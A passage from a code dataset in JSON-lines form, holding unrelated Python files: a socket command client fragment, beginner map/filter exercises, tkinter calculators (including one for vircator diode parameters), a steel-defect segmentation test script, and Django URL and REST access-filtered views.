_init_command_parser(self):\r\n self._command_parser = CommandParser(self._products_base_dir, self.connection_socket)\r\n\r\n def _create_log_file(self):\r\n raise NotImplementedError(\"Implement me!\")\r\n\r\n def _parse_command(self, command_literal):\r\n return self._command_parser.parse_command(command_literal)\r\n\r\n def _send_command_to_kli_and_get_response(self, command_literal):\r\n \"\"\"\r\n Method sends the received command literal to kli and waits for ack.\r\n \"\"\"\r\n command_response = self.connection_socket.send_command(command_literal)\r\n if not command_response:\r\n # socket timed-out\r\n return False\r\n return True\r\n\r\n def run(self):\r\n keep_alive = None\r\n\r\n while keep_alive is None:\r\n command_literal = raw_input(\"Insert command: \",)\r\n if not command_literal:\r\n continue\r\n command = self._parse_command(command_literal)\r\n if command:\r\n # command is valid syntax-wise\r\n command_response = self._send_command_to_kli_and_get_response(command_literal)\r\n if command_response:\r\n keep_alive = command.run()\r\n else:\r\n # kli did not respond to the command\r\n Helper.print_and_log(consts.KLI_NOT_RESPONDING_WARNING_MSG)\r\n\r\n Helper.print_and_log()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"HQ/hq.py","file_name":"hq.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"285687668","text":"import functools\nclass Employee:\n def __init__(self,id,name,des,sal):\n self.id=id\n self.name=name\n self.des=des\n self.sal=sal\n def printemp(self):\n print(\"name=\",self.name)\n print(\"designation=\",self.des)\n print(\"sal\",self.sal)\n\n def __str__(self):\n #return self.name+self.id+self.sal+self.des\n return self.name+self.sal\nf=open(\"edetails\",\"r\")\nlst=[]\nfor lines in f:\n data=lines.rstrip(\"\\n\").split(\",\")\n id=data[0]\n name=data[1]\n des=data[2]\n sal=data[3]\n obj=Employee(id,name,des,sal)\n #obj.printemp()\n lst.append(obj)\n#for emp in lst:\n #print(emp)\n #print(emp.name.upper())\n\n\ns2= list(map(lambda emp: emp.name.upper(),lst))\nprint(s2)\n # if(int(emp.sal)>25000):\n # print(emp)\n #ss= filter(lambda emp: (int(emp.sal)>20000), lst)\n#print(ss)\nmm = list(filter(lambda empp: int(empp.sal) > 20000, lst))\n#print(mm)\nfor lss in mm:\n print(lss)\nsss= list(map(lambda d: int(d.sal)+5000,lst))\nprint(sss)\n\nhighestsal=functools.reduce(lambda sal1,sal2:sal1 if sal1>sal2 else sal2,list(map(lambda empp:empp.sal,lst)))\nprint(highestsal)\nmaxsalem=list(filter(lambda em:em.sal==highestsal,lst))\nfor emm in maxsalem:\n print(emm)\n\n","sub_path":"pythonprograms/practice/importmodules/collections/oops/empp.py","file_name":"empp.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"129181566","text":"from tkinter import *\nimport tkinter.messagebox\nimport numpy\nimport math\n\n#Wartosci domyslne\n\neps0=8.85E-12\ne=1.6E-19\nm=9.11E-31\nDAK=0.020\nRK=0.035\nVAK=600E3\nEAK=VAK/DAK\nZAK=0.\nJK=0.\nIK=0.\nISCL=0.\nSK=3.14*RK**2\nFR=0.\nFP=0.\nV=0.05 # sprawnosc w %\nPIN=0.\nPOUT=0.\n\n#Funkcje\ndef wartosci_domyslne():\n DAK_wartosc.delete(0,END)\n DAK_wartosc.insert(0,round(DAK * 100,1)) # wartosc w cm\n RK_wartosc.delete(0,END)\n RK_wartosc.insert(0, round(RK*100,1)) # wartosc w cm\n VAK_wartosc.delete(0,END)\n VAK_wartosc.insert(0,round(VAK /1E3,1)) # wartosc w MV\n V_wartosc.delete(0,END)\n V_wartosc.insert(0,round(V * 100,1)) # wartosc w %\n\ndef obliczenia_wartosci():\n # domyslne\n DAK=float(DAK_wartosc.get()) /100\n VAK=float(VAK_wartosc.get()) *1E3\n RK=float(RK_wartosc.get()) /100\n V=float(V_wartosc.get()) / 100\n # obliczenia\n EAK=VAK/DAK\n JK=(4./9.)*eps0*pow(2.*e/m,1./2.)*pow(VAK,3./2.)/pow(DAK,2.)\n SK=3.14*RK**2\n IK=JK*SK\n ZAK=(136./pow(VAK/1E6,0.5))*pow(DAK/RK,2.)\n lam=1+VAK/1E6/0.511\n ISCL=pow(17.*(pow(lam,2./3.)-1) / (1+2*math.log(RK/RK)),3./2.) #sprawdzic wzor !\n FR=9.4*math.sqrt(VAK/1E6)/(DAK*100) # wartosc w GHz\n FP=5 / (6*3.14*1E7) * math.sqrt(e*VAK/(m*pow(DAK*100,2.))) # wartosc w GHz\n PIN=VAK*IK\n POUT=PIN*V\n # podstawienia\n SK_wartosc.delete(0,END)\n SK_wartosc.insert(0,round(SK * 1E4,1))\n EAK_wartosc.delete(0,END)\n EAK_wartosc.insert(0,round(EAK / 100 / 1E5,1))\n JK_wartosc.delete(0,END)\n JK_wartosc.insert(0,round(JK / 1E4,1))\n IK_wartosc.delete(0,END)\n IK_wartosc.insert(0,round(IK /1000,1))\n ZAK_wartosc.delete(0,END)\n ZAK_wartosc.insert(0,round(ZAK,1))\n ISCL_wartosc.delete(0,END)\n ISCL_wartosc.insert(0,round(ISCL,1))\n FR_wartosc.delete(0,END)\n FR_wartosc.insert(0,round(FR,1))\n FP_wartosc.delete(0,END)\n FP_wartosc.insert(0,round(FP,1))\n PIN_wartosc.delete(0,END)\n PIN_wartosc.insert(0,round(PIN / 1E9,1)) # wartosc w GW\n POUT_wartosc.delete(0,END)\n POUT_wartosc.insert(0,round(POUT / 1E6,1)) # wartosc w MW\n\ndef donothing():\n tkinter.messagebox.showinfo( \"Wirkator osiowy\", \"Program do projektowania wirkatora osiowego w ukladzie diody\")\n\n# Poczatek programu\nprogram = Tk()\nprogram.title(\"Wirkator osiowy\")\n\n# Menu poczatek\nmenubar = Menu(program)\nfilemenu = Menu(menubar, tearoff=0)\nfilemenu.add_command(label=\"Pomoc\", command=donothing)\nfilemenu.add_separator()\nfilemenu.add_command(label=\"Koniec\", command=program.quit)\nmenubar.add_cascade(label=\"Menu\", menu=filemenu)\n\nprogram.config(menu=menubar)\n\n# Parametry wejsciowe\nwejsciowe=LabelFrame(program,text=\"Parametry wejsciowe\")\nwejsciowe.pack(fill=\"both\", expand=\"yes\")\n\nVAK_opis=Label(wejsciowe, text=\"Napiecie katoda-anoda [kV] = \").grid(row=1,column=1)\nVAK_wartosc=Entry(wejsciowe, bd=5, width=10)\nVAK_wartosc.grid(row=1,column=2)\n\nRK_opis=Label(wejsciowe, text=\"Promien katody [cm] = \").grid(row=2,column=1)\nRK_wartosc=Entry(wejsciowe, bd=5, width=10)\nRK_wartosc.grid(row=2,column=2)\n\nDAK_opis=Label(wejsciowe, text=\"Odleglosc katoda-anoda [cm] = \").grid(row=3,column=1)\nDAK_wartosc=Entry(wejsciowe, bd=5, width=10)\nDAK_wartosc.grid(row=3,column=2)\n\nV_opis=Label(wejsciowe, text=\"Sprawnosc [%] = \").grid(row=4,column=1)\nV_wartosc=Entry(wejsciowe, bd=5, width=10)\nV_wartosc.grid(row=4,column=2)\n\n# Ramka wartosci wyznaczonych\nwartosci=LabelFrame(program, text=\"Wartosci wyznaczone\")\nwartosci.pack(fill=\"both\", expand=\"yes\")\n\nr=1\nSK_opis=Label(wartosci, text=\"Powierzchnia katody [cm^2] = \").grid(row=r,column=1)\nSK_wartosc=Entry(wartosci, bd=5, width=10)\nSK_wartosc.grid(row=r,column=2)\n\nr=r+1\nEAK_opis=Label(wartosci, text=\"Natezenie pola [V/cm]*10^5 = \").grid(row=r,column=1)\nEAK_wartosc=Entry(wartosci, bd=5, width=10)\nEAK_wartosc.grid(row=r,column=2)\n\nr=r+1\nJK_opis=Label(wartosci, text=\"Gestosc pradu katody [A/cm^2] = \").grid(row=r,column=1)\nJK_wartosc=Entry(wartosci, bd=5, width=10)\nJK_wartosc.grid(row=r,column=2)\n\nr=r+1\nIK_opis=Label(wartosci, text=\"Prad katody [kA] = \").grid(row=r,column=1)\nIK_wartosc=Entry(wartosci, bd=5, width=10)\nIK_wartosc.grid(row=r,column=2)\n\nr=r+1\nZAK_opis=Label(wartosci, text=\"Impedancja katoda-anoda [Ohm] = \").grid(row=r,column=1)\nZAK_wartosc=Entry(wartosci, bd=5, width=10)\nZAK_wartosc.grid(row=r,column=2)\n\nr=r+1\nISCL_opis=Label(wartosci, text=\"Prad odciecia [A] = ??? \").grid(row=r,column=1)\nISCL_wartosc=Entry(wartosci, bd=5, width=10)\nISCL_wartosc.grid(row=r,column=2)\n\nr=r+1\nFR_opis=Label(wartosci, text=\"Czestotliwosc oscylacji [GHz] = \").grid(row=r,column=1)\nFR_wartosc=Entry(wartosci, bd=5, width=10)\nFR_wartosc.grid(row=r,column=2)\n\nr=r+1\nFP_opis=Label(wartosci, text=\"Czestotliwosc plazmy [GHz] = \").grid(row=r,column=1)\nFP_wartosc=Entry(wartosci, bd=5, width=10)\nFP_wartosc.grid(row=r,column=2)\n\nr=r+1\nPIN_opis=Label(wartosci, text=\"Moc wejsciowa [GW] = \").grid(row=r,column=1)\nPIN_wartosc=Entry(wartosci, bd=5, width=10)\nPIN_wartosc.grid(row=r,column=2)\n\nr=r+1\nPOUT_opis=Label(wartosci, text=\"Moc wyjsciowa [MW] = \").grid(row=r,column=1)\nPOUT_wartosc=Entry(wartosci, bd=5, width=10)\nPOUT_wartosc.grid(row=r,column=2)\n\n# Ramka klawiszy obliczen\nklawisze = Frame(program)\nklawisze.pack(side = BOTTOM)\ndomyslne = Button(klawisze, text=\"Domyslne\", bd=5, command=wartosci_domyslne).grid(row=1,column=1)\nobliczenia = Button(klawisze, text=\"Oblicz\", bd=5,command=obliczenia_wartosci).grid(row=1,column=2)\nkoniec = Button(klawisze, text=\"Koniec\", bd=5, command=program.quit).grid(row=1,column=3)\n\n# Start + Petla glowna\nwartosci_domyslne()\nprogram.mainloop()\n","sub_path":"scib/src/vcat.py","file_name":"vcat.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"162981579","text":"temp = []\nprinc = []\nmai = men = 0\nwhile True:\n temp.append(str(input(\"Nome: \")))\n temp.append(float(input(\"peso: \")))\n if len(princ) == 0:\n mai = men = temp[1]\n else:\n if temp[1] > mai:\n mai = temp[1]\n if temp[1] < men:\n men = temp[1]\n princ.append(temp[:])\n temp.clear()\n resp = str(input(\"Continuar? [S/N]: \")).upper().strip()\n if resp in \"N\":\n break\nprint(len(princ))\nprint(f\"Maior peso: {mai}, peso de\", end=\" \")\nfor p in princ:\n if p[1] == mai:\n print(p[0], end=\" \")\nprint()\nprint(f\"Menor peso: {men}, peso de\", end=\" \")\nfor p in princ:\n if p[1] == men:\n print(p[0], end=\" \")\n","sub_path":"maior_menor_peso.py","file_name":"maior_menor_peso.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"127183702","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.QuestionListView.as_view(), name='forum'),\n path('new/', views.CreateQuestionView.as_view(), name=\"new_question\"),\n path('update//', views.UpdateQuestionView.as_view(),\n name=\"update_question\"),\n path('delete//', views.DeleteQuestionView.as_view(),\n name=\"delete_question\"),\n path('/create_answer/', views.CreateAnswerView.as_view(),\n name='create_answer'),\n path('/', views.QuestionDetailView.as_view(),\n name='detail'),\n path('tag//', views.QuestionListView.as_view(),\n name='forum_for_tag'),\n]\n","sub_path":"questions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"227691489","text":"from tkinter import *\n\n\nroot = Tk()\nroot.title(\"Calculadora Tkinder\")\nroot.geometry(\"400x400\")\nroot.iconbitmap(\"c:/PythonFiles/image/calc.ico\")\nroot.config(background=\"sky blue\")\n\n\ndef abrir():\n global Entrada\n global janela\n global M_Label\n janela = Toplevel()\n janela.title(\"Segunda Janela\")\n janela.geometry(\"400x400\")\n janela.configure(backgrou=\"sky blue\")\n\n\n Titulo = Label(janela, text=\"Calculadora Simples\", justify=\"center\",background=\"sky blue\", font=(\"Arial\", 16)).grid(row=0, column=1, columnspan=3, )\n\n Entrada = Entry(janela, width=40, borderwidth=6)\n Entrada.grid(row=2, column=0,columnspan=4)\n\n Btn1 = Button(janela, text=\"1\",padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(1))\n Btn2 = Button(janela, text=\"2\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(2))\n Btn3 = Button(janela, text=\"3\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(3))\n Btn4 = Button(janela, text=\"4\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(4))\n Btn5 = Button(janela, text=\"5\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(5))\n Btn6 = Button(janela, text=\"6\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(6))\n Btn7 = Button(janela, text=\"7\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(7))\n Btn8 = Button(janela, text=\"8\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(8))\n Btn9 = Button(janela, text=\"9\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(9))\n Btn0 = Button(janela, text=\"0\", padx=30,pady=20, borderwidth=4,bg=\"sky blue\", command=lambda: Click(0))\n Btn1.grid(row=4, column=0)\n Btn2.grid(row=4, column=1)\n Btn3.grid(row=4, column=2)\n Btn4.grid(row=5, column=0)\n Btn5.grid(row=5, column=1)\n Btn6.grid(row=5, column=2)\n Btn7.grid(row=6, column=0)\n Btn8.grid(row=6, column=1)\n Btn9.grid(row=6, column=2)\n Btn0.grid(row=7, column=0)\n\n BtnSoma = Button(janela, text=\"+\", padx=30,pady=20, borderwidth=5,background=\"sky blue\", command=add)\n BtnMult = Button(janela, text=\"*\", padx=30,pady=20, borderwidth=5,background=\"sky blue\", command=mult)\n BtnMenos = Button(janela, text=\"-\", padx=30,pady=20, borderwidth=5,background=\"sky blue\", command=sub)\n BtnDiv = Button(janela, text=\"/\", padx=30,pady=20, borderwidth=5,background=\"sky blue\", command=div)\n BtnIgual = Button(janela, text=\"=\", padx=70,pady=20, borderwidth=5,background=\"sky blue\",command=igual)\n\n BtnSoma.grid(row=4, column=3, columnspan=1)\n BtnMult.grid(row=5, column=3)\n BtnMenos.grid(row=6, column=3)\n BtnDiv.grid(row=7, column=3)\n BtnIgual.grid(row=7, column=0, columnspan=4)\n\nTitulo = Label(root,text=\"Escolha a calculadora desejada\",background=\"sky blue\", font=(\"arial\", 12)).grid(row=0,column=0,columnspan=3,padx=8)\nBt1 = Button(root, text=\"Calculadora simples\",background=\"deep sky blue\", command=abrir,font=(\"Arial\",12))\nBt1.grid(row=1,column=0,sticky=N,padx=8,pady=8)\n\nBt2 = Button(root, text=\"Calculadora Rustica\",background=\"deep sky blue\", command=\"\",font=(\"Arial\",12))\nBt2.grid(row=1,column=1,sticky=N,padx=8,pady=8)\n\n\n\ndef Click(number):\n current = Entrada.get()\n Entrada.delete(0, END)\n Entrada.insert(0, str(current) + str(number))\n\ndef add():\n Number_one = Entrada.get()\n global N1\n global math\n math = \"addition\"\n N1 = int(Number_one)\n Entrada.delete(0, END)\n\n\ndef mult():\n Number_one = Entrada.get()\n global N1\n global math\n math = \"Multiplicacion\"\n N1 = int(Number_one)\n Entrada.delete(0, END)\n\n\ndef sub():\n Number_one = Entrada.get()\n global N1\n global math\n math = \"Subtrair\"\n N1 = int(Number_one)\n Entrada.delete(0, END)\n\n\ndef div():\n Number_one = Entrada.get()\n global N1\n global math\n math = \"Divisao\"\n N1 = int(Number_one)\n Entrada.delete(0, END)\n\n\ndef igual():\n\n segundo_number = Entrada.get()\n Entrada.delete(0, END)\n\n if math == \"addition\":\n Entrada.insert(0, N1 + int(segundo_number))\n\n if math == \"Multiplicacion\":\n Entrada.insert(0, N1 * int(segundo_number))\n\n if math == \"Subtrair\":\n Entrada.insert(0, N1 - int(segundo_number))\n\n if math == \"Divisao\":\n Entrada.insert(0, N1 / int(segundo_number))\n\n\n\n\n\nroot.mainloop()\n","sub_path":"CalculadoraTk.py","file_name":"CalculadoraTk.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"49600398","text":"#encoding=utf-8\n\nprint(\"fuck\")\nimport argparse\nimport distutils.util\nimport os\nimport sys\nimport pickle\nimport resource\nimport traceback\nimport logging\nfrom collections import defaultdict\n#import pynvml\nimport numpy as np\nimport yaml\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport cv2\nimport scipy.misc as scmi\ncv2.setNumThreads(0) # pytorch issue 1355: possible deadlock in dataloader\n\n#import _init_paths # pylint: disable=unused-import\nfrom core.config import cfg, cfg_from_file, cfg_from_list, assert_and_infer_cfg\nfrom modeling.model_builder_semseg_submission import Generalized_SEMSEG\n#from modeling.model_builder_semseg import Generalized_SEMSEG\nfrom utils.timer import Timer\nimport time\nfrom PIL import Image\n\ndef write(filename, data):\n with open(filename, 'wb') as fp:\n pickle.dump(data, fp)\ndef load(filename):\n with open(filename, 'rb') as fp:\n data=pickle.load(fp)\n return data\n\ndef argument():\n import argparse\n parser = argparse.ArgumentParser(description='Process prediction.')\n parser.add_argument('--dataset', dest='dataset', help='give a dataset name', default='cityscapes', type=str)\n parser.add_argument('--config', dest='config', help='which file to restore', default='./configs/baselines/e2e_ubernet-101_2x.yaml', type=str)\n parser.add_argument('--save_file', dest='save_file', help='where to save file', default='./seg_pred_pic/pred_sem_val_500_ubernet50_plateau/', type=str)\n parser.add_argument('--gpu', dest='gpu', help='give a gpu to train network', default=[0], nargs='+', type=int)\n parser.add_argument('--input_size', dest='input_size', help='input size of network', nargs='+', default=[720,720], type=int)\n parser.add_argument('--aug_scale', dest='aug_scale', help='scale image of network', nargs='+', default=[1440], type=int)\n parser.add_argument('--network', dest='network', help='network name', default='Generalized_SEMSEG', type=str)\n parser.add_argument('--pretrained_model', dest='premodel', help='path to pretrained model', default='./output/ubernet50_multiscale_ReduceLROnPlateau_40epochs_720/e2e_ubernet-101_2x/Dec07-10-56-09_localhost.localdomain/ckpt//model_59_1486.pth', type=str)\n parser.add_argument('--prefix_semseg', dest='prefix_semseg', help='output name of network', default='pred_semseg', type=str)\n parser.add_argument('--prefix_disp', dest='prefix_disp', help='output name of network', default='pred_disp', type=str)\n parser.add_argument('--prefix_average', dest='prefix_average', help='output name of network', default='pred_deepsup', type=str)\n parser.add_argument('--merge_method', dest='merge_method', help='merge method for MS', default='ave', type=str)\n parser.add_argument('--index_start', dest='index_start', help='predict from index_start', default=0, type=int)\n parser.add_argument('--index_end', dest='index_end', help='predict end with index_end', default=500, type=int)\n parser.add_argument('--weight', dest='weight', default=1, type=int)\n parser.add_argument('--save_final_prob', dest='save_final_prob', help='to save prob for each class', default=0, type=int)\n args = parser.parse_args()\n return args\n\ndef round2nearest_multiple(x, p):\n return ((x - 1) // p + 1) * p\n\nclass TestNet(object):\n def __init__(self, args):\n # assert False, 'merge config'\n cfg_from_file(args.config)\n cfg.TRAIN.IMS_PER_BATCH = 1\n args.aug_scale=cfg.TEST.SCALES\n args.input_size=cfg.SEM.INPUT_SIZE\n self.input_size=cfg.SEM.INPUT_SIZE\n print ('test scale:',args.aug_scale)\n self._cur = 0\n self.load_image = self.load_semseg_image\n if 'steel' in args.dataset:\n self.input_size = args.input_size\n self.aug_scale = args.aug_scale\n if 'train' in args.dataset :\n self.label_root = os.path.join(os.getcwd(),'lib/datasets/data/steel/annotations/train.txt')\n elif 'test' in args.dataset :\n self.label_root = os.path.join(os.getcwd(),'lib/datasets/data/steel/annotations/test.txt')\n else:\n self.label_root = os.path.join(os.getcwd(),'lib/datasets/data/steel/annotations/val.txt')\n self.num_class = 5\n self.image_shape=[256, 1600]\n self.load_listname(args)\n self.pretrained_model=args.premodel\n #transformer label\n \n\n def up_sample(self, data):\n return nn.functional.interpolate(\n data, size = self.image_shape, mode='bilinear', align_corners=False)\n\n def load_listname(self, args):\n indexlist = [line.split() for line in open(self.label_root,'r').read().splitlines()]\n self.indexlist = indexlist[args.index_start: args.index_end]\n #self.indexlist = self.indexlist.sort()\n\n\n def load_net(self, args):\n #set device of gpu\n # assert False, 'use os.env to set device gpu %s'%str(args.gpus)\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = ','.join([str(ids) for ids in args.gpu])\n print (cfg.MODEL.TYPE)\n self.net = eval(cfg.MODEL.TYPE)()\n #init weight\n # pretrained_model = args.premodel\n \n print(\"loading pretrained weights for model\")\n state_dict={}\n pretrained=torch.load(self.pretrained_model, map_location=lambda storage, loc: storage)\n pretrained = pretrained['model']\n self.net.load_state_dict(pretrained,strict=True)\n self.net.to('cuda')\n print(\"weights load success\")\n self.net.eval()\n for p in self.net.parameters():\n p.requires_grad = False\n del pretrained\n\n def load_semseg_image(self, args):\n imgname = self.indexlist[self._cur][0].split('steel/')[-1]\n image = cv2.imread(os.path.join(cfg.DATA_DIR, args.dataset.split('_')[0], imgname))\n #cv2.imwrite(os.path.join(args.save_file, imgname.split('/')[-1]), image) #保存原图\n self._cur += 1\n return image, imgname\n\n # put image left and right into it, sparetion\n def transfer_img(self, image, imgname, scale, args): #将图片切分成多块\n assert np.all(args.input_size==cfg.SEM.INPUT_SIZE), 'cfg size must be same to args'\n #print(\"image shape:\", image.shape)\n h, w = image.shape[:2]\n\n resize_w = scale\n resize_h = int(h*scale/w)\n \n image = np.array(cv2.resize(image.copy(), (resize_w, resize_h)))\n crop_h_max = max(resize_h - args.input_size[0], 0)\n crop_w_max = max(resize_w - args.input_size[1], 0)\n step_h = 1 + int(np.ceil(1.0*crop_h_max/ args.input_size[0]))\n step_w = 1 + int(np.ceil(1.0*crop_w_max / args.input_size[1]))\n #print(\"step h:\", step_h)\n #print(\"step w:\", step_w)\n one_list = []\n tmp_name = os.path.join(args.save_file, imgname.split('/')[-1])\n boxes = []\n for ih in range(step_h):\n for iw in range(step_w):\n inputs = np.zeros(args.input_size+[3])\n crop_sh = min(ih*args.input_size[0], crop_h_max)\n crop_sw = min(iw*args.input_size[1], crop_w_max)\n crop_eh = min(resize_h, crop_sh+args.input_size[0])\n crop_ew = min(resize_w, crop_sw+args.input_size[1])\n in_eh = crop_eh - crop_sh\n in_ew = crop_ew - crop_sw\n inputs[0: in_eh, 0: in_ew] = image[crop_sh:crop_eh, crop_sw:crop_ew]\n inputs = inputs[:, :, ::-1]\n inputs -= cfg.PIXEL_MEANS\n inputs = inputs.transpose(2, 0, 1)\n one_list.append(inputs.copy()) \n boxes.append([crop_sh, crop_eh, crop_sw, crop_ew,in_eh,in_ew])\n return one_list, imgname.split('/')[-1], boxes\n\n def save_pred(self, pred_list, image_name, scale_info, index, args): #拼起来\n assert np.all(args.input_size==cfg.SEM.INPUT_SIZE), 'cfg size must be same to args'\n assert np.all(list(pred_list[0].shape[2:]) == args.input_size), 'pred size is not same to input size'\n assert np.all(pred_list[0] >=0), 'pred must be output of softmax'\n assert pred_list[0].shape[0] == 1, 'only support one sample'\n tmp_name = os.path.join(args.save_file,image_name.replace('.png',''))\n scale, scale_i = scale_info\n h, w = self.image_shape\n resize_w = scale\n resize_h = int(h*scale/w)\n pred_prob=np.zeros(([1, self.num_class]+[resize_h, resize_w]))\n pred_smooth= np.zeros(([1, self.num_class]+[resize_h, resize_w]))\n for ids, ibox in enumerate(index):\n sh,eh,sw,ew,in_h,in_w=ibox\n pred_prob[:, :, sh:eh, sw:ew] += pred_list[ids][:, :, 0:in_h, 0:in_w]\n pred_smooth[:, :, sh:eh, sw:ew] += 1\n #assert np.all(pred_smooth >=1), 'error merge'\n pred_prob /= pred_smooth\n return pred_prob\n #write( tmp_name+'_'+str(scale_i)+'_prob.pkl', pred_prob)\n\n\n\n\ndef create_visual_anno(anno, image):\n assert np.max(anno) <= 4, \"more than 4 classes.\"\n label2color_dict = {\n 0: [0, 0, 0],\n 1: [255, 248, 220], \n 2: [100, 149, 237], \n 3: [102, 205, 170], \n 4: [205, 133, 63], \n }\n\n visual_anno = np.zeros((anno.shape[0], anno.shape[1], 3), dtype=np.uint8)\n for i in range(1, 5):\n mask = (anno==i)\n visual_anno[mask] = label2color_dict[i]\n\n res = cv2.addWeighted(image, 0.4, visual_anno, 0.6, 0)\n return res\n\n\n\n\n\ndef to_test_semseg_batch(args):\n test_net = TestNet(args)\n test_net.load_net(args)\n args.weight = np.asarray([1]+[args.weight]*(cfg.MODEL.NUM_CLASSES-1))\n args.weight = args.weight.reshape((cfg.MODEL.NUM_CLASSES,1,1))\n shapes = [1, 3] + args.input_size\n for i in range(args.index_start, args.index_end):\n time_now = time.time()\n image, image_name = test_net.load_image(args) # 2 \n pred_final_list = []\n for scale_i, scale in enumerate(test_net.aug_scale): #每种scale\n pred_list = [] ##预测的数据\n pred_list_disp = []\n pred_deepsup_list_disp = []\n one_list_L, image_name, index = test_net.transfer_img(image, image_name, scale, args)\n if len(one_list_L)>1:\n batch_size = len(one_list_L)\n #print(\"batch size:\", batch_size)\n batch_images = np.concatenate([np.expand_dims(img,0) for img in one_list_L],axis=0)\n batch_images = torch.from_numpy(batch_images).float().cuda()\n pred_dict = test_net.net(batch_images, image_name)\n pred = pred_dict[args.prefix_semseg].detach().cpu().numpy()\n pred_list += [seg for seg in np.split(pred, indices_or_sections=batch_size, axis=0)]\n else:\n for isave, im_L in enumerate(one_list_L): #剪成多张图片 一张一张喂进去\n\n input_data = Variable(torch.from_numpy(im_L).float(), requires_grad=False).cuda()\n input_data = torch.unsqueeze(input_data,0) # [1, 3, 256, 256] \n pred_dict = test_net.net(input_data, image_name)\n t = pred_dict[args.prefix_semseg].detach().cpu().numpy()\n pred_list.append(t)\n \n pred_final_list.append(test_net.save_pred(pred_list, image_name, [scale, scale_i], index, args))\n pred_mask = np.zeros((test_net.num_class, image.shape[0], image.shape[1]))\n for p in pred_final_list:\n for c in range(test_net.num_class):\n pred_mask[c] += np.array(cv2.resize(p[0][c], pred_mask.shape[1:][::-1]))\n pred_mask = pred_mask*args.weight\n pred_mask = np.argmax(pred_mask, axis=0)\n anno = create_visual_anno(pred_mask, image)\n tmp_name = os.path.join(args.save_file,image_name.replace('.png',''))\n cv2.imwrite(os.path.join(args.save_file+'_color',image_name.replace('.png','')).replace('.jpg', '.png'), anno)\n cv2.imwrite(tmp_name.replace('.jpg','.png'), pred_mask)\n cost_time = time.time() - time_now\n remain_time = (args.index_end - i - 1)*cost_time\n cost_time = str(cost_time)[:6]\n remain_time = str(remain_time)[:6]\n print ('[{}|{}] {} cost {}s , remain time:{}s '.format(i+1,args.index_end,image_name, cost_time, remain_time))\n\n\n\n\nif __name__ == '__main__':\n args = argument()\n if not os.path.exists(args.save_file):\n os.makedirs(args.save_file)\n os.makedirs(args.save_file+'_labelId')\n to_test_semseg_batch(args)\n #to_test_semseg(args)\n","sub_path":"test_submission.py","file_name":"test_submission.py","file_ext":"py","file_size_in_byte":12537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"361024150","text":"\nfrom django.db.models import Q\nfrom rest_framework.generics import (\n ListCreateAPIView,\n RetrieveUpdateDestroyAPIView\n)\nfrom rest_framework import permissions\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom ..models import DataSource\nfrom .serializers import DataSourceSerializer\nfrom .permissions import IsOwnerOrReadOnly\n\n\nclass DataSourceFilteredLookupMixin(object):\n\n def get_queryset(self):\n # Fetch only accessible data sources\n queryset = DataSource.objects.all()\n\n u = self.request.user\n g = list(u.groups.all())\n\n if u.is_anonymous:\n return DataSource.objects.filter(\n accessibility=DataSource.ACCESSIBILITY_PUBLIC\n )\n\n queryset = queryset.filter(\n Q(owner=u) |\n Q(accessibility=DataSource.ACCESSIBILITY_PUBLIC) |\n (\n Q(accessibility=DataSource.ACCESSIBILITY_INTERNAL) &\n (Q(shared_users__in=[u]) | Q(shared_groups__in=g))\n )\n ).distinct()\n\n return queryset\n\n\nclass DataSourceCreateAPIView(\n # PermissionRequiredMixin,\n DataSourceFilteredLookupMixin,\n ListCreateAPIView\n):\n # permission_required = 'datamanagement.list_datasources'\n # queryset = DataSource.objects.all()\n permission_classes = (permissions.IsAuthenticatedOrReadOnly, )\n serializer_class = DataSourceSerializer\n lookup_field = 'id'\n\n\nclass DataSourceRetrieveUpdateDestroyAPIView(\n DataSourceFilteredLookupMixin,\n RetrieveUpdateDestroyAPIView\n):\n # queryset = DataSource.objects.all()\n # permission_required = 'datamanagement.change_datasource'\n permission_classes = (\n permissions.IsAuthenticatedOrReadOnly,\n IsOwnerOrReadOnly,\n )\n serializer_class = DataSourceSerializer\n lookup_field = 'id'\n\n\nclass DataSourceContentsAPIView(\n APIView\n):\n permission_classes = (\n permissions.IsAuthenticatedOrReadOnly,\n IsOwnerOrReadOnly,\n )\n\n def get(self, request, format=None):\n \"\"\"\n Return the content of a datasource.\n \"\"\"\n # content =\n return ''\n","sub_path":"datamanagement/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"560437505","text":"\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom .models import imageModel, imageComment, individualMsgComment, Message, brainstormNote, userLogTable, tableChartData, \\\n userQuesAnswerTable, groupInfo, userLogTable, badgeOffered, 